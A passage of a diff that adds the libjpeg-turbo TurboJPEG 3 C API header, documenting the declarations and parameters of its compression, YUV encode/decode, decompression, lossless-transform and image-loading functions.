unsigned char **jpegBuf, size_t *jpegSize); + + +/** + * Compress a set of 8-bit-per-sample Y, U (Cb), and V (Cr) image planes into + * an 8-bit-per-sample lossy @ref TJCS_YCbCr "YCbCr" or + * @ref TJCS_GRAY "grayscale" JPEG image. + * + * @param handle handle to a TurboJPEG instance that has been initialized for + * compression + * + * @param srcPlanes an array of pointers to Y, U (Cb), and V (Cr) image planes + * (or just a Y plane, if compressing a grayscale image) that contain a YUV + * source image to be compressed. These planes can be contiguous or + * non-contiguous in memory. The size of each plane should match the value + * returned by #tj3YUVPlaneSize() for the given image width, height, strides, + * and level of chrominance subsampling (see #TJPARAM_SUBSAMP.) Refer to + * @ref YUVnotes "YUV Image Format Notes" for more details. + * + * @param width width (in pixels) of the source image. If the width is not an + * even multiple of the iMCU width (see #tjMCUWidth), then an intermediate + * buffer copy will be performed. + * + * @param strides an array of integers, each specifying the number of bytes per + * row in the corresponding plane of the YUV source image. Setting the stride + * for any plane to 0 is the same as setting it to the plane width (see + * @ref YUVnotes "YUV Image Format Notes".) If `strides` is NULL, then the + * strides for all planes will be set to their respective plane widths. You + * can adjust the strides in order to specify an arbitrary amount of row + * padding in each plane or to create a JPEG image from a subregion of a larger + * planar YUV image. + * + * @param height height (in pixels) of the source image. If the height is not + * an even multiple of the iMCU height (see #tjMCUHeight), then an intermediate + * buffer copy will be performed. + * + * @param jpegBuf address of a pointer to a byte buffer that will receive the + * JPEG image. TurboJPEG has the ability to reallocate the JPEG buffer to + * accommodate the size of the JPEG image. Thus, you can choose to: + * -# pre-allocate the JPEG buffer with an arbitrary size using #tj3Alloc() and + * let TurboJPEG grow the buffer as needed, + * -# set `*jpegBuf` to NULL to tell TurboJPEG to allocate the buffer for you, + * or + * -# pre-allocate the buffer to a "worst case" size determined by calling + * #tj3JPEGBufSize() and adding the return value to the size of the ICC profile + * (if any) that was previously associated with the TurboJPEG instance (see + * #tj3SetICCProfile().) This should ensure that the buffer never has to be + * re-allocated. (Setting #TJPARAM_NOREALLOC guarantees that it won't be.) + * . + * Unless you have set #TJPARAM_NOREALLOC, you should always check `*jpegBuf` + * upon return from this function, as it may have changed. + * + * @param jpegSize pointer to a size_t variable that holds the size of the JPEG + * buffer. If `*jpegBuf` points to a pre-allocated buffer, then `*jpegSize` + * should be set to the size of the buffer. Otherwise, `*jpegSize` is + * ignored. If `*jpegBuf` points to a JPEG buffer that is being reused from a + * previous call to one of the JPEG compression functions, then `*jpegSize` is + * also ignored. Upon return, `*jpegSize` will contain the size of the JPEG + * image (in bytes.) + * + * @return 0 if successful, or -1 if an error occurred (see #tj3GetErrorStr() + * and #tj3GetErrorCode().) + */ +DLLEXPORT int tj3CompressFromYUVPlanes8(tjhandle handle, + const unsigned char * const *srcPlanes, + int width, const int *strides, + int height, unsigned char **jpegBuf, + size_t *jpegSize); + + +/** + * Compress an 8-bit-per-sample unified planar YUV image into an + * 8-bit-per-sample lossy @ref TJCS_YCbCr "YCbCr" or @ref TJCS_GRAY "grayscale" + * JPEG image. + * + * @param handle handle to a TurboJPEG instance that has been initialized for + * compression + * + * @param srcBuf pointer to a buffer containing a unified planar YUV source + * image to be compressed. The size of this buffer should match the value + * returned by #tj3YUVBufSize() for the given image width, height, row + * alignment, and level of chrominance subsampling (see #TJPARAM_SUBSAMP.) The + * Y, U (Cb), and V (Cr) image planes should be stored sequentially in the + * buffer. (Refer to @ref YUVnotes "YUV Image Format Notes".) + * + * @param width width (in pixels) of the source image. If the width is not an + * even multiple of the iMCU width (see #tjMCUWidth), then an intermediate + * buffer copy will be performed. + * + * @param align row alignment (in bytes) of the source image (must be a power + * of 2.) Setting this parameter to n indicates that each row in each plane of + * the source image is padded to the nearest multiple of n bytes + * (1 = unpadded.) + * + * @param height height (in pixels) of the source image. If the height is not + * an even multiple of the iMCU height (see #tjMCUHeight), then an intermediate + * buffer copy will be performed. + * + * @param jpegBuf address of a pointer to a byte buffer that will receive the + * JPEG image. TurboJPEG has the ability to reallocate the JPEG buffer to + * accommodate the size of the JPEG image. Thus, you can choose to: + * -# pre-allocate the JPEG buffer with an arbitrary size using #tj3Alloc() and + * let TurboJPEG grow the buffer as needed, + * -# set `*jpegBuf` to NULL to tell TurboJPEG to allocate the buffer for you, + * or + * -# pre-allocate the buffer to a "worst case" size determined by calling + * #tj3JPEGBufSize() and adding the return value to the size of the ICC profile + * (if any) that was previously associated with the TurboJPEG instance (see + * #tj3SetICCProfile().) This should ensure that the buffer never has to be + * re-allocated. (Setting #TJPARAM_NOREALLOC guarantees that it won't be.) + * . + * Unless you have set #TJPARAM_NOREALLOC, you should always check `*jpegBuf` + * upon return from this function, as it may have changed. + * + * @param jpegSize pointer to a size_t variable that holds the size of the JPEG + * buffer. If `*jpegBuf` points to a pre-allocated buffer, then `*jpegSize` + * should be set to the size of the buffer. Otherwise, `*jpegSize` is + * ignored. If `*jpegBuf` points to a JPEG buffer that is being reused from a + * previous call to one of the JPEG compression functions, then `*jpegSize` is + * also ignored. Upon return, `*jpegSize` will contain the size of the JPEG + * image (in bytes.) + * + * @return 0 if successful, or -1 if an error occurred (see #tj3GetErrorStr() + * and #tj3GetErrorCode().) + */ +DLLEXPORT int tj3CompressFromYUV8(tjhandle handle, + const unsigned char *srcBuf, int width, + int align, int height, + unsigned char **jpegBuf, size_t *jpegSize); + + +/** + * Encode an 8-bit-per-sample packed-pixel RGB or grayscale image into separate + * 8-bit-per-sample Y, U (Cb), and V (Cr) image planes. This function performs + * color conversion and downsampling (which are accelerated in the + * libjpeg-turbo implementation) but does not execute any of the other steps in + * the JPEG compression process. + * + * @param handle handle to a TurboJPEG instance that has been initialized for + * compression + * + * @param srcBuf pointer to a buffer containing a packed-pixel RGB or grayscale + * source image to be encoded. This buffer should normally be `pitch * height` + * bytes in size. However, you can also use this parameter to encode from a + * specific region of a larger buffer. + * + * + * @param width width (in pixels) of the source image + * + * @param pitch bytes per row in the source image. Normally this should be + * width * #tjPixelSize[pixelFormat], if the image is unpadded. + * (Setting this parameter to 0 is the equivalent of setting it to + * width * #tjPixelSize[pixelFormat].) However, you can also use this + * parameter to specify the row alignment/padding of the source image, to skip + * rows, or to encode from a specific region of a larger packed-pixel image. + * + * @param height height (in pixels) of the source image + * + * @param pixelFormat pixel format of the source image (see @ref TJPF + * "Pixel formats".) + * + * @param dstPlanes an array of pointers to Y, U (Cb), and V (Cr) image planes + * (or just a Y plane, if generating a grayscale image) that will receive the + * encoded image. These planes can be contiguous or non-contiguous in memory. + * Use #tj3YUVPlaneSize() to determine the appropriate size for each plane + * based on the image width, height, strides, and level of chrominance + * subsampling (see #TJPARAM_SUBSAMP.) Refer to @ref YUVnotes + * "YUV Image Format Notes" for more details. + * + * @param strides an array of integers, each specifying the number of bytes per + * row in the corresponding plane of the YUV image. Setting the stride for any + * plane to 0 is the same as setting it to the plane width (see @ref YUVnotes + * "YUV Image Format Notes".) If `strides` is NULL, then the strides for all + * planes will be set to their respective plane widths. You can adjust the + * strides in order to add an arbitrary amount of row padding to each plane or + * to encode an RGB or grayscale image into a subregion of a larger planar YUV + * image. + * + * @return 0 if successful, or -1 if an error occurred (see #tj3GetErrorStr() + * and #tj3GetErrorCode().) + */ +DLLEXPORT int tj3EncodeYUVPlanes8(tjhandle handle, const unsigned char *srcBuf, + int width, int pitch, int height, + int pixelFormat, unsigned char **dstPlanes, + int *strides); + + +/** + * Encode an 8-bit-per-sample packed-pixel RGB or grayscale image into an + * 8-bit-per-sample unified planar YUV image. This function performs color + * conversion and downsampling (which are accelerated in the libjpeg-turbo + * implementation) but does not execute any of the other steps in the JPEG + * compression process. + * + * @param handle handle to a TurboJPEG instance that has been initialized for + * compression + * + * @param srcBuf pointer to a buffer containing a packed-pixel RGB or grayscale + * source image to be encoded. This buffer should normally be `pitch * height` + * bytes in size. However, you can also use this parameter to encode from a + * specific region of a larger buffer. + * + * @param width width (in pixels) of the source image + * + * @param pitch bytes per row in the source image. Normally this should be + * width * #tjPixelSize[pixelFormat], if the image is unpadded. + * (Setting this parameter to 0 is the equivalent of setting it to + * width * #tjPixelSize[pixelFormat].) However, you can also use this + * parameter to specify the row alignment/padding of the source image, to skip + * rows, or to encode from a specific region of a larger packed-pixel image. + * + * @param height height (in pixels) of the source image + * + * @param pixelFormat pixel format of the source image (see @ref TJPF + * "Pixel formats".) + * + * @param dstBuf pointer to a buffer that will receive the unified planar YUV + * image. Use #tj3YUVBufSize() to determine the appropriate size for this + * buffer based on the image width, height, row alignment, and level of + * chrominance subsampling (see #TJPARAM_SUBSAMP.) The Y, U (Cb), and V (Cr) + * image planes will be stored sequentially in the buffer. (Refer to + * @ref YUVnotes "YUV Image Format Notes".) + * + * @param align row alignment (in bytes) of the YUV image (must be a power of + * 2.) Setting this parameter to n will cause each row in each plane of the + * YUV image to be padded to the nearest multiple of n bytes (1 = unpadded.) + * To generate images suitable for X Video, `align` should be set to 4. + * + * @return 0 if successful, or -1 if an error occurred (see #tj3GetErrorStr() + * and #tj3GetErrorCode().) + */ +DLLEXPORT int tj3EncodeYUV8(tjhandle handle, const unsigned char *srcBuf, + int width, int pitch, int height, int pixelFormat, + unsigned char *dstBuf, int align); + + +/** + * Retrieve information about a JPEG image without decompressing it, or prime + * the decompressor with quantization and Huffman tables. If a JPEG image is + * passed to this function, then the @ref TJPARAM "parameters" that describe + * the JPEG image will be set when the function returns. If a JPEG image is + * passed to this function and #TJPARAM_SAVEMARKERS is set to `2` or `4`, then + * the ICC profile (if any) will be extracted from the JPEG image. + * (#tj3GetICCProfile() can then be used to retrieve the profile.) + * + * @param handle handle to a TurboJPEG instance that has been initialized for + * decompression + * + * @param jpegBuf pointer to a byte buffer containing a JPEG image or an + * "abbreviated table specification" (AKA "tables-only") datastream. Passing a + * tables-only datastream to this function primes the decompressor with + * quantization and Huffman tables that can be used when decompressing + * subsequent "abbreviated image" datastreams. This is useful, for instance, + * when decompressing video streams in which all frames share the same + * quantization and Huffman tables. + * + * @param jpegSize size of the JPEG image or tables-only datastream (in bytes) + * + * @return 0 if successful, or -1 if an error occurred (see #tj3GetErrorStr() + * and #tj3GetErrorCode().) + */ +DLLEXPORT int tj3DecompressHeader(tjhandle handle, + const unsigned char *jpegBuf, + size_t jpegSize); + + +/** + * Retrieve the ICC (International Color Consortium) color management profile + * (if any) that was previously extracted from a JPEG image. + * + * @note To extract the ICC profile from a JPEG image, call + * #tj3DecompressHeader() with #TJPARAM_SAVEMARKERS set to `2` or `4`. Once + * the ICC profile is retrieved, it must be re-extracted before it can be + * retrieved again. + * + * @param handle handle to a TurboJPEG instance that has been initialized for + * decompression + * + * @param iccBuf address of a pointer to a byte buffer. Upon return: + * - If `iccBuf` is not NULL and there is an ICC profile to retrieve, then + * `*iccBuf` will point to a byte buffer containing the ICC profile. This + * buffer should be freed using #tj3Free(). + * - If `iccBuf` is not NULL and there is no ICC profile to retrieve, then + * `*iccBuf` will be NULL. + * - If `iccBuf` is NULL, then only the ICC profile size will be retrieved, and + * the ICC profile can be retrieved later. + * + * @param iccSize address of a size_t variable. Upon return, the variable will + * contain the ICC profile size (or 0 if there is no ICC profile to retrieve.) + * + * @return 0 if successful, or -1 if an error occurred (see #tj3GetErrorStr() + * and #tj3GetErrorCode().) + */ +DLLEXPORT int tj3GetICCProfile(tjhandle handle, unsigned char **iccBuf, + size_t *iccSize); + + +/** + * Returns a list of fractional scaling factors that the JPEG decompressor + * supports. + * + * @param numScalingFactors pointer to an integer variable that will receive + * the number of elements in the list + * + * @return a pointer to a list of fractional scaling factors, or NULL if an + * error is encountered (see #tj3GetErrorStr().) + */ +DLLEXPORT tjscalingfactor *tj3GetScalingFactors(int *numScalingFactors); + + +/** + * Set the scaling factor for subsequent lossy decompression operations. + * + * @param handle handle to a TurboJPEG instance that has been initialized for + * decompression + * + * @param scalingFactor #tjscalingfactor structure that specifies a fractional + * scaling factor that the decompressor supports (see #tj3GetScalingFactors()), + * or #TJUNSCALED for no scaling. Decompression scaling is a function + * of the IDCT algorithm, so scaling factors are generally limited to multiples + * of 1/8. If the entire JPEG image will be decompressed, then the width and + * height of the scaled destination image can be determined by calling + * #TJSCALED() with the JPEG width and height (see #TJPARAM_JPEGWIDTH and + * #TJPARAM_JPEGHEIGHT) and the specified scaling factor. When decompressing + * into a planar YUV image, an intermediate buffer copy will be performed if + * the width or height of the scaled destination image is not an even multiple + * of the iMCU size (see #tjMCUWidth and #tjMCUHeight.) Note that + * decompression scaling is not available (and the specified scaling factor is + * ignored) when decompressing lossless JPEG images (see #TJPARAM_LOSSLESS), + * since the IDCT algorithm is not used with those images. Note also that + * #TJPARAM_FASTDCT is ignored when decompression scaling is enabled. + * + * @return 0 if successful, or -1 if an error occurred (see #tj3GetErrorStr().) + */ +DLLEXPORT int tj3SetScalingFactor(tjhandle handle, + tjscalingfactor scalingFactor); + + +/** + * Set the cropping region for partially decompressing a lossy JPEG image into + * a packed-pixel image + * + * @param handle handle to a TurboJPEG instance that has been initialized for + * decompression + * + * @param croppingRegion #tjregion structure that specifies a subregion of the + * JPEG image to decompress, or #TJUNCROPPED for no cropping. The + * left boundary of the cropping region must be evenly divisible by the scaled + * iMCU width-- #TJSCALED(#tjMCUWidth[subsamp], scalingFactor), where + * `subsamp` is the level of chrominance subsampling in the JPEG image (see + * #TJPARAM_SUBSAMP) and `scalingFactor` is the decompression scaling factor + * (see #tj3SetScalingFactor().) The cropping region should be specified + * relative to the scaled image dimensions. Unless `croppingRegion` is + * #TJUNCROPPED, the JPEG header must be read (see + * #tj3DecompressHeader()) prior to calling this function. + * + * @return 0 if successful, or -1 if an error occurred (see #tj3GetErrorStr().) + */ +DLLEXPORT int tj3SetCroppingRegion(tjhandle handle, tjregion croppingRegion); + + +/** + * Decompress a JPEG image with 2 to 8 bits of data precision per sample into a + * packed-pixel RGB, grayscale, or CMYK image with the same data precision. + * The @ref TJPARAM "parameters" that describe the JPEG image will be set when + * this function returns. + * + * @param handle handle to a TurboJPEG instance that has been initialized for + * decompression + * + * @param jpegBuf pointer to a byte buffer containing the JPEG image to + * decompress + * + * @param jpegSize size of the JPEG image (in bytes) + * + * @param dstBuf pointer to a buffer that will receive the packed-pixel + * decompressed image. This buffer should normally be + * `pitch * destinationHeight` samples in size. However, you can also use this + * parameter to decompress into a specific region of a larger buffer. NOTE: + * If the JPEG image is lossy, then `destinationHeight` is either the scaled + * JPEG height (see #TJSCALED(), #TJPARAM_JPEGHEIGHT, and + * #tj3SetScalingFactor()) or the height of the cropping region (see + * #tj3SetCroppingRegion().) If the JPEG image is lossless, then + * `destinationHeight` is the JPEG height. + * + * @param pitch samples per row in the destination image. Normally this should + * be set to destinationWidth * #tjPixelSize[pixelFormat], if the + * destination image should be unpadded. (Setting this parameter to 0 is the + * equivalent of setting it to + * destinationWidth * #tjPixelSize[pixelFormat].) However, you can + * also use this parameter to specify the row alignment/padding of the + * destination image, to skip rows, or to decompress into a specific region of + * a larger buffer. NOTE: If the JPEG image is lossy, then `destinationWidth` + * is either the scaled JPEG width (see #TJSCALED(), #TJPARAM_JPEGWIDTH, and + * #tj3SetScalingFactor()) or the width of the cropping region (see + * #tj3SetCroppingRegion().) If the JPEG image is lossless, then + * `destinationWidth` is the JPEG width. + * + * @param pixelFormat pixel format of the destination image (see @ref + * TJPF "Pixel formats".) + * + * @return 0 if successful, or -1 if an error occurred (see #tj3GetErrorStr() + * and #tj3GetErrorCode().) + */ +DLLEXPORT int tj3Decompress8(tjhandle handle, const unsigned char *jpegBuf, + size_t jpegSize, unsigned char *dstBuf, int pitch, + int pixelFormat); + +/** + * Decompress a JPEG image with 9 to 12 bits of data precision per sample into + * a packed-pixel RGB, grayscale, or CMYK image with the same data precision. + * + * \details \copydetails tj3Decompress8() + */ +DLLEXPORT int tj3Decompress12(tjhandle handle, const unsigned char *jpegBuf, + size_t jpegSize, short *dstBuf, int pitch, + int pixelFormat); + +/** + * Decompress a lossless JPEG image with 13 to 16 bits of data precision per + * sample into a packed-pixel RGB, grayscale, or CMYK image with the same + * data precision. + * + * \details \copydetails tj3Decompress8() + */ +DLLEXPORT int tj3Decompress16(tjhandle handle, const unsigned char *jpegBuf, + size_t jpegSize, unsigned short *dstBuf, + int pitch, int pixelFormat); + + +/** + * Decompress an 8-bit-per-sample lossy JPEG image into separate + * 8-bit-per-sample Y, U (Cb), and V (Cr) image planes. This function performs + * JPEG decompression but leaves out the color conversion step, so a planar YUV + * image is generated instead of a packed-pixel image. The + * @ref TJPARAM "parameters" that describe the JPEG image will be set when this + * function returns. + * + * @param handle handle to a TurboJPEG instance that has been initialized for + * decompression + * + * @param jpegBuf pointer to a byte buffer containing the JPEG image to + * decompress + * + * @param jpegSize size of the JPEG image (in bytes) + * + * @param dstPlanes an array of pointers to Y, U (Cb), and V (Cr) image planes + * (or just a Y plane, if decompressing a grayscale image) that will receive + * the decompressed image. These planes can be contiguous or non-contiguous in + * memory. Use #tj3YUVPlaneSize() to determine the appropriate size for each + * plane based on the scaled JPEG width and height (see #TJSCALED(), + * #TJPARAM_JPEGWIDTH, #TJPARAM_JPEGHEIGHT, and #tj3SetScalingFactor()), + * strides, and level of chrominance subsampling (see #TJPARAM_SUBSAMP.) Refer + * to @ref YUVnotes "YUV Image Format Notes" for more details. + * + * @param strides an array of integers, each specifying the number of bytes per + * row in the corresponding plane of the YUV image. Setting the stride for any + * plane to 0 is the same as setting it to the scaled plane width (see + * @ref YUVnotes "YUV Image Format Notes".) If `strides` is NULL, then the + * strides for all planes will be set to their respective scaled plane widths. + * You can adjust the strides in order to add an arbitrary amount of row + * padding to each plane or to decompress the JPEG image into a subregion of a + * larger planar YUV image. + * + * @return 0 if successful, or -1 if an error occurred (see #tj3GetErrorStr() + * and #tj3GetErrorCode().) + */ +DLLEXPORT int tj3DecompressToYUVPlanes8(tjhandle handle, + const unsigned char *jpegBuf, + size_t jpegSize, + unsigned char **dstPlanes, + int *strides); + + +/** + * Decompress an 8-bit-per-sample lossy JPEG image into an 8-bit-per-sample + * unified planar YUV image. This function performs JPEG decompression but + * leaves out the color conversion step, so a planar YUV image is generated + * instead of a packed-pixel image. The @ref TJPARAM "parameters" that + * describe the JPEG image will be set when this function returns. + * + * @param handle handle to a TurboJPEG instance that has been initialized for + * decompression + * + * @param jpegBuf pointer to a byte buffer containing the JPEG image to + * decompress + * + * @param jpegSize size of the JPEG image (in bytes) + * + * @param dstBuf pointer to a buffer that will receive the unified planar YUV + * decompressed image. Use #tj3YUVBufSize() to determine the appropriate size + * for this buffer based on the scaled JPEG width and height (see #TJSCALED(), + * #TJPARAM_JPEGWIDTH, #TJPARAM_JPEGHEIGHT, and #tj3SetScalingFactor()), row + * alignment, and level of chrominance subsampling (see #TJPARAM_SUBSAMP.) The + * Y, U (Cb), and V (Cr) image planes will be stored sequentially in the + * buffer. (Refer to @ref YUVnotes "YUV Image Format Notes".) + * + * @param align row alignment (in bytes) of the YUV image (must be a power of + * 2.) Setting this parameter to n will cause each row in each plane of the + * YUV image to be padded to the nearest multiple of n bytes (1 = unpadded.) + * To generate images suitable for X Video, `align` should be set to 4. + * + * @return 0 if successful, or -1 if an error occurred (see #tj3GetErrorStr() + * and #tj3GetErrorCode().) + */ +DLLEXPORT int tj3DecompressToYUV8(tjhandle handle, + const unsigned char *jpegBuf, + size_t jpegSize, + unsigned char *dstBuf, int align); + + +/** + * Decode a set of 8-bit-per-sample Y, U (Cb), and V (Cr) image planes into an + * 8-bit-per-sample packed-pixel RGB or grayscale image. This function + * performs color conversion (which is accelerated in the libjpeg-turbo + * implementation) but does not execute any of the other steps in the JPEG + * decompression process. + * + * @param handle handle to a TurboJPEG instance that has been initialized for + * decompression + * + * @param srcPlanes an array of pointers to Y, U (Cb), and V (Cr) image planes + * (or just a Y plane, if decoding a grayscale image) that contain a YUV image + * to be decoded. These planes can be contiguous or non-contiguous in memory. + * The size of each plane should match the value returned by #tj3YUVPlaneSize() + * for the given image width, height, strides, and level of chrominance + * subsampling (see #TJPARAM_SUBSAMP.) Refer to @ref YUVnotes + * "YUV Image Format Notes" for more details. + * + * @param strides an array of integers, each specifying the number of bytes per + * row in the corresponding plane of the YUV source image. Setting the stride + * for any plane to 0 is the same as setting it to the plane width (see + * @ref YUVnotes "YUV Image Format Notes".) If `strides` is NULL, then the + * strides for all planes will be set to their respective plane widths. You + * can adjust the strides in order to specify an arbitrary amount of row + * padding in each plane or to decode a subregion of a larger planar YUV image. + * + * @param dstBuf pointer to a buffer that will receive the packed-pixel decoded + * image. This buffer should normally be `pitch * height` bytes in size. + * However, you can also use this parameter to decode into a specific region of + * a larger buffer. + * + * @param width width (in pixels) of the source and destination images + * + * @param pitch bytes per row in the destination image. Normally this should + * be set to width * #tjPixelSize[pixelFormat], if the destination + * image should be unpadded. (Setting this parameter to 0 is the equivalent of + * setting it to width * #tjPixelSize[pixelFormat].) However, you can + * also use this parameter to specify the row alignment/padding of the + * destination image, to skip rows, or to decode into a specific region of a + * larger buffer. + * + * @param height height (in pixels) of the source and destination images + * + * @param pixelFormat pixel format of the destination image (see @ref TJPF + * "Pixel formats".) + * + * @return 0 if successful, or -1 if an error occurred (see #tj3GetErrorStr() + * and #tj3GetErrorCode().) + */ +DLLEXPORT int tj3DecodeYUVPlanes8(tjhandle handle, + const unsigned char * const *srcPlanes, + const int *strides, unsigned char *dstBuf, + int width, int pitch, int height, + int pixelFormat); + + +/** + * Decode an 8-bit-per-sample unified planar YUV image into an 8-bit-per-sample + * packed-pixel RGB or grayscale image. This function performs color + * conversion (which is accelerated in the libjpeg-turbo implementation) but + * does not execute any of the other steps in the JPEG decompression process. + * + * @param handle handle to a TurboJPEG instance that has been initialized for + * decompression + * + * @param srcBuf pointer to a buffer containing a unified planar YUV source + * image to be decoded. The size of this buffer should match the value + * returned by #tj3YUVBufSize() for the given image width, height, row + * alignment, and level of chrominance subsampling (see #TJPARAM_SUBSAMP.) The + * Y, U (Cb), and V (Cr) image planes should be stored sequentially in the + * source buffer. (Refer to @ref YUVnotes "YUV Image Format Notes".) + * + * @param align row alignment (in bytes) of the YUV source image (must be a + * power of 2.) Setting this parameter to n indicates that each row in each + * plane of the YUV source image is padded to the nearest multiple of n bytes + * (1 = unpadded.) + * + * @param dstBuf pointer to a buffer that will receive the packed-pixel decoded + * image. This buffer should normally be `pitch * height` bytes in size. + * However, you can also use this parameter to decode into a specific region of + * a larger buffer. + * + * @param width width (in pixels) of the source and destination images + * + * @param pitch bytes per row in the destination image. Normally this should + * be set to width * #tjPixelSize[pixelFormat], if the destination + * image should be unpadded. (Setting this parameter to 0 is the equivalent of + * setting it to width * #tjPixelSize[pixelFormat].) However, you can + * also use this parameter to specify the row alignment/padding of the + * destination image, to skip rows, or to decode into a specific region of a + * larger buffer. + * + * @param height height (in pixels) of the source and destination images + * + * @param pixelFormat pixel format of the destination image (see @ref TJPF + * "Pixel formats".) + * + * @return 0 if successful, or -1 if an error occurred (see #tj3GetErrorStr() + * and #tj3GetErrorCode().) + */ +DLLEXPORT int tj3DecodeYUV8(tjhandle handle, const unsigned char *srcBuf, + int align, unsigned char *dstBuf, int width, + int pitch, int height, int pixelFormat); + + +/** + * The maximum size of the buffer (in bytes) required to hold a JPEG image + * transformed with the given transform parameters and/or cropping region. + * This function is a wrapper for #tj3JPEGBufSize() that takes into account + * cropping, transposition of the width and height (which affects the + * destination image dimensions and level of chrominance subsampling), + * grayscale conversion, and the ICC profile (if any) that was previously + * associated with the TurboJPEG instance (see #tj3SetICCProfile()) or + * extracted from the source image (see #tj3GetICCProfile() and + * #TJPARAM_SAVEMARKERS.) The JPEG header must be read (see + * tj3DecompressHeader()) prior to calling this function. + * + * @param handle handle to a TurboJPEG instance that has been initialized for + * lossless transformation + * + * @param transform pointer to a #tjtransform structure that specifies the + * transform parameters and/or cropping region for the JPEG image. + * + * @return the maximum size of the buffer (in bytes) required to hold the + * transformed image, or 0 if an error occurred (see #tj3GetErrorStr() and + * #tj3GetErrorCode().) + */ +DLLEXPORT size_t tj3TransformBufSize(tjhandle handle, + const tjtransform *transform); + + +/** + * Losslessly transform a JPEG image into another JPEG image. Lossless + * transforms work by moving the raw DCT coefficients from one JPEG image + * structure to another without altering the values of the coefficients. While + * this is typically faster than decompressing the image, transforming it, and + * re-compressing it, lossless transforms are not free. Each lossless + * transform requires reading and performing entropy decoding on all of the + * coefficients in the source image, regardless of the size of the destination + * image. Thus, this function provides a means of generating multiple + * transformed images from the same source or applying multiple transformations + * simultaneously, in order to eliminate the need to read the source + * coefficients multiple times. + * + * @param handle handle to a TurboJPEG instance that has been initialized for + * lossless transformation + * + * @param jpegBuf pointer to a byte buffer containing the JPEG source image to + * transform + * + * @param jpegSize size of the JPEG source image (in bytes) + * + * @param n the number of transformed JPEG images to generate + * + * @param dstBufs pointer to an array of n byte buffers. `dstBufs[i]` will + * receive a JPEG image that has been transformed using the parameters in + * `transforms[i]`. TurboJPEG has the ability to reallocate the JPEG + * destination buffer to accommodate the size of the transformed JPEG image. + * Thus, you can choose to: + * -# pre-allocate the JPEG destination buffer with an arbitrary size using + * #tj3Alloc() and let TurboJPEG grow the buffer as needed, + * -# set `dstBufs[i]` to NULL to tell TurboJPEG to allocate the buffer for + * you, or + * -# pre-allocate the buffer to a "worst case" size determined by calling + * #tj3TransformBufSize(). Under normal circumstances, this should ensure that + * the buffer never has to be re-allocated. (Setting #TJPARAM_NOREALLOC + * guarantees that it won't be. However, if the source image has a large + * amount of embedded Exif data, then the transformed JPEG image may be larger + * than the worst-case size. #TJPARAM_NOREALLOC cannot be used in that case + * unless the embedded data is discarded using #TJXOPT_COPYNONE or + * #TJPARAM_SAVEMARKERS.) + * . + * Unless you have set #TJPARAM_NOREALLOC, you should always check `dstBufs[i]` + * upon return from this function, as it may have changed. + * + * @param dstSizes pointer to an array of n size_t variables that will receive + * the actual sizes (in bytes) of each transformed JPEG image. If `dstBufs[i]` + * points to a pre-allocated buffer, then `dstSizes[i]` should be set to the + * size of the buffer. Otherwise, `dstSizes[i]` is ignored. Upon return, + * `dstSizes[i]` will contain the size of the transformed JPEG image (in + * bytes.) + * + * @param transforms pointer to an array of n #tjtransform structures, each of + * which specifies the transform parameters and/or cropping region for the + * corresponding transformed JPEG image. + * + * @return 0 if successful, or -1 if an error occurred (see #tj3GetErrorStr() + * and #tj3GetErrorCode().) + */ +DLLEXPORT int tj3Transform(tjhandle handle, const unsigned char *jpegBuf, + size_t jpegSize, int n, unsigned char **dstBufs, + size_t *dstSizes, const tjtransform *transforms); + + +/** + * Load a packed-pixel image with 2 to 8 bits of data precision per sample from + * disk into memory. + * + * @param handle handle to a TurboJPEG instance + * + * @param filename name of a file containing a packed-pixel image in Windows + * BMP or PBMPLUS (PPM/PGM) format. Windows BMP files require 8-bit-per-sample + * data precision. When loading a PBMPLUS file, the target data precision + * (from 2 to 8 bits per sample) can be specified using #TJPARAM_PRECISION and + * defaults to 8 if #TJPARAM_PRECISION is unset or out of range. If the data + * precision of the PBMPLUS file does not match the target data precision, then + * upconverting or downconverting will be performed. + * + * @param width pointer to an integer variable that will receive the width (in + * pixels) of the packed-pixel image + * + * @param align row alignment (in samples) of the packed-pixel buffer to be + * returned (must be a power of 2.) Setting this parameter to n will cause all + * rows in the buffer to be padded to the nearest multiple of n samples + * (1 = unpadded.) + * + * @param height pointer to an integer variable that will receive the height + * (in pixels) of the packed-pixel image + * + * @param pixelFormat pointer to an integer variable that specifies or will + * receive the pixel format of the packed-pixel buffer. The behavior of this + * function varies depending on the value of `*pixelFormat` passed to the + * function: + * - @ref TJPF_UNKNOWN : The packed-pixel buffer returned by this function will + * use the most optimal pixel format for the file type, and `*pixelFormat` will + * contain the ID of that pixel format upon successful return from this + * function. + * - @ref TJPF_GRAY : Only PGM files and 8-bit-per-pixel BMP files with a + * grayscale colormap can be loaded. + * - @ref TJPF_CMYK : The RGB or grayscale pixels stored in the file will be + * converted using a quick & dirty algorithm that is suitable only for testing + * purposes. (Proper conversion between CMYK and other formats requires a + * color management system.) + * - Other @ref TJPF "pixel formats" : The packed-pixel buffer will use the + * specified pixel format, and pixel format conversion will be performed if + * necessary. + * + * @return a pointer to a newly-allocated buffer containing the packed-pixel + * image, converted to the chosen pixel format and with the chosen row + * alignment, or NULL if an error occurred (see #tj3GetErrorStr().) This + * buffer should be freed using #tj3Free(). + */ +DLLEXPORT unsigned char *tj3LoadImage8(tjhandle handle, const char *filename, + int *width, int align, int *height, + int *pixelFormat); + +/** + * Load a packed-pixel image with 9 to 12 bits of data precision per sample + * from disk into memory. + * + * @param handle handle to a TurboJPEG instance + * + * @param filename name of a file containing a packed-pixel image in PBMPLUS + * (PPM/PGM) format. The target data precision (from 9 to 12 bits per sample) + * can be specified using #TJPARAM_PRECISION and defaults to 12 if + * #TJPARAM_PRECISION is unset or out of range. If the data precision of the + * PBMPLUS file does not match the target data precision, then upconverting or + * downconverting will be performed. + * + * @param width pointer to an integer variable that will receive the width (in + * pixels) of the packed-pixel image + * + * @param align row alignment (in samples) of the packed-pixel buffer to be + * returned (must be a power of 2.) Setting this parameter to n will cause all + * rows in the buffer to be padded to the nearest multiple of n samples + * (1 = unpadded.) + * + * @param height pointer to an integer variable that will receive the height + * (in pixels) of the packed-pixel image + * + * @param pixelFormat pointer to an integer variable that specifies or will + * receive the pixel format of the packed-pixel buffer. The behavior of this + * function will vary depending on the value of `*pixelFormat` passed to the + * function: + * - @ref TJPF_UNKNOWN : The packed-pixel buffer returned by this function will + * use the most optimal pixel format for the file type, and `*pixelFormat` will + * contain the ID of that pixel format upon successful return from this + * function. + * - @ref TJPF_GRAY : Only PGM files can be loaded. + * - @ref TJPF_CMYK : The RGB or grayscale pixels stored in the file will be + * converted using a quick & dirty algorithm that is suitable only for testing + * purposes. (Proper conversion between 